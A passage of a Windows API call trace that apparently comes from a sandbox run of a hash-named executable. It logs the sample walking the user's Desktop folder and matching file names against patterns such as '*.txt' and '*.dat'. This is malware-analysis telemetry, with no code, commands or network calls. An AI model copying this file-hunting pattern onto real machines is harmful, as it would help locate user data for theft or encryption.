lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.498] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2e) returned 0x2110550 [0099.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", cchWideChar=46, lpMultiByteStr=0x2110550, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", lpUsedDefaultChar=0x0) returned 46 [0099.498] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.498] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.498] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.498] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113078 [0099.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113078, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.498] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113078 | out: hHeap=0x2110000) returned 1 [0099.498] PathMatchSpecW (pszFile="Zl8tQFh7Qv.mkv", pszSpec="*.txt") returned 0 [0099.498] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.498] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd527b80, ftCreationTime.dwHighDateTime=0x1d7a623, ftLastAccessTime.dwLowDateTime=0x61bc5430, ftLastAccessTime.dwHighDateTime=0x1d7a755, ftLastWriteTime.dwLowDateTime=0x61bc5430, ftLastWriteTime.dwHighDateTime=0x1d7a755, nFileSizeHigh=0x0, nFileSizeLow=0xc942, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zl8tQFh7Qv.mkv", cAlternateFileName="ZL8TQF~1.MKV")) returned 0 [0099.498] FindClose (in: hFindFile=0x6d1cd8 | out: hFindFile=0x6d1cd8) returned 1 [0099.498] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.498] GetLastError () returned 0x12 [0099.498] SetLastError (dwErrCode=0x12) [0099.499] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0099.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34304c0, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0099.499] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x2112978 [0099.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34304c0, cbMultiByte=31, lpWideCharStr=0x2112978, cchWideChar=31 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned 31 [0099.499] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21128a0 [0099.499] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0099.499] lstrcpyW (in: lpString1=0x19d32c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.499] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*" [0099.499] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*", lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x13b96e47, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x13b96e47, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1cd8 [0099.499] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.499] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.499] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\." [0099.499] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.499] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.499] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0099.499] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.499] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x13b96e47, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x13b96e47, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.499] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.499] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.499] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.." [0099.499] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.500] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.500] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0099.500] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.500] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.500] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x697a7bf0, ftCreationTime.dwHighDateTime=0x1d7a38d, ftLastAccessTime.dwLowDateTime=0x7c7bd330, ftLastAccessTime.dwHighDateTime=0x1d7ac06, ftLastWriteTime.dwLowDateTime=0x7c7bd330, ftLastWriteTime.dwHighDateTime=0x1d7ac06, nFileSizeHigh=0x0, nFileSizeLow=0x4b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="-yRZeNS0HWz.m4a", cAlternateFileName="-YRZEN~1.M4A")) returned 1 [0099.500] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.500] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.500] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="-yRZeNS0HWz.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a" [0099.500] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.500] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.500] lstrcatW (in: lpString1="\\", lpString2="-yRZeNS0HWz.m4a" | out: lpString1="\\-yRZeNS0HWz.m4a") returned="\\-yRZeNS0HWz.m4a" [0099.500] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.500] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2f) returned 0x34300d0 [0099.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", lpUsedDefaultChar=0x0) returned 47 [0099.500] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.500] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.500] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.500] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113120 [0099.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113120, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.500] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113120 | out: hHeap=0x2110000) returned 1 [0099.500] PathMatchSpecW (pszFile="-yRZeNS0HWz.m4a", pszSpec="*.dat") returned 0 [0099.500] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.500] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb56bee60, ftCreationTime.dwHighDateTime=0x1d7a97b, ftLastAccessTime.dwLowDateTime=0x1f5f71c0, ftLastAccessTime.dwHighDateTime=0x1d7af67, ftLastWriteTime.dwLowDateTime=0x1f5f71c0, ftLastWriteTime.dwHighDateTime=0x1d7af67, nFileSizeHigh=0x0, nFileSizeLow=0x1825b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0hIV.odt", cAlternateFileName="")) returned 1 [0099.500] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.500] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.501] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0hIV.odt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt" [0099.501] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.501] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.501] lstrcatW (in: lpString1="\\", lpString2="0hIV.odt" | out: lpString1="\\0hIV.odt") returned="\\0hIV.odt" [0099.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x211acc0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", lpUsedDefaultChar=0x0) returned 40 [0099.501] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211acc0 | out: hHeap=0x2110000) returned 1 [0099.501] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa5b8 | out: hHeap=0x2110000) returned 1 [0099.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130d8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.501] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130d8 | out: hHeap=0x2110000) returned 1 [0099.501] PathMatchSpecW (pszFile="0hIV.odt", pszSpec="*.dat") returned 0 [0099.501] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.501] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf668b600, ftCreationTime.dwHighDateTime=0x1d7b3bc, ftLastAccessTime.dwLowDateTime=0xf7014c80, ftLastAccessTime.dwHighDateTime=0x1d7b3bc, ftLastWriteTime.dwLowDateTime=0x31aeb900, ftLastWriteTime.dwHighDateTime=0x1d7b3ac, nFileSizeHigh=0x0, nFileSizeLow=0x92600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cAlternateFileName="1A0F89~1.EXE")) returned 1 [0099.501] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.501] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.501] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" [0099.501] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.501] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.501] lstrcatW (in: lpString1="\\", lpString2="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" | out: lpString1="\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") returned="\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" [0099.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0099.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x21111c0, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", lpUsedDefaultChar=0x0) returned 100 [0099.502] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0099.502] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fd0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.502] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fd0 | out: hHeap=0x2110000) returned 1 [0099.502] PathMatchSpecW (pszFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", pszSpec="*.dat") returned 0 [0099.502] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111230 | out: hHeap=0x2110000) returned 1 [0099.502] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7149550, ftCreationTime.dwHighDateTime=0x1d7aa3f, ftLastAccessTime.dwLowDateTime=0x12822e50, ftLastAccessTime.dwHighDateTime=0x1d7ab4a, ftLastWriteTime.dwLowDateTime=0x12822e50, ftLastWriteTime.dwHighDateTime=0x1d7ab4a, nFileSizeHigh=0x0, nFileSizeLow=0x175c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1uAKNwE-0yc6at.mp3", cAlternateFileName="1UAKNW~1.MP3")) returned 1 [0099.502] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.502] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.502] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="1uAKNwE-0yc6at.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3" [0099.502] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.502] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.502] lstrcatW (in: lpString1="\\", lpString2="1uAKNwE-0yc6at.mp3" | out: lpString1="\\1uAKNwE-0yc6at.mp3") returned="\\1uAKNwE-0yc6at.mp3" [0099.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x34300d0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", lpUsedDefaultChar=0x0) returned 50 [0099.502] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.502] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113108, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.502] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113108 | out: hHeap=0x2110000) returned 1 [0099.502] PathMatchSpecW (pszFile="1uAKNwE-0yc6at.mp3", pszSpec="*.dat") returned 0 [0099.503] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ae0 | out: hHeap=0x2110000) returned 1 [0099.503] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d74c530, ftCreationTime.dwHighDateTime=0x1d7a0ad, ftLastAccessTime.dwLowDateTime=0xda822690, ftLastAccessTime.dwHighDateTime=0x1d7a941, ftLastWriteTime.dwLowDateTime=0xda822690, ftLastWriteTime.dwHighDateTime=0x1d7a941, nFileSizeHigh=0x0, nFileSizeLow=0x1662f, dwReserved0=0x0, dwReserved1=0x0, cFileName="4sB35aWlNW.mp3", cAlternateFileName="4SB35A~1.MP3")) returned 1 [0099.503] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.505] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.505] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="4sB35aWlNW.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3" [0099.505] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.505] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.505] lstrcatW (in: lpString1="\\", lpString2="4sB35aWlNW.mp3" | out: lpString1="\\4sB35aWlNW.mp3") returned="\\4sB35aWlNW.mp3" [0099.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.506] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.506] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fe8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.506] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fe8 | out: hHeap=0x2110000) returned 1 [0099.506] PathMatchSpecW (pszFile="4sB35aWlNW.mp3", pszSpec="*.dat") returned 0 [0099.506] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.506] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf61f470, ftCreationTime.dwHighDateTime=0x1d7a814, ftLastAccessTime.dwLowDateTime=0xa8e2e7d0, ftLastAccessTime.dwHighDateTime=0x1d7ace5, ftLastWriteTime.dwLowDateTime=0xa8e2e7d0, ftLastWriteTime.dwHighDateTime=0x1d7ace5, nFileSizeHigh=0x0, nFileSizeLow=0x375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6jSeen9MOc.mp3", cAlternateFileName="6JSEEN~1.MP3")) returned 1 [0099.506] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.506] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.506] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="6jSeen9MOc.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3" [0099.506] 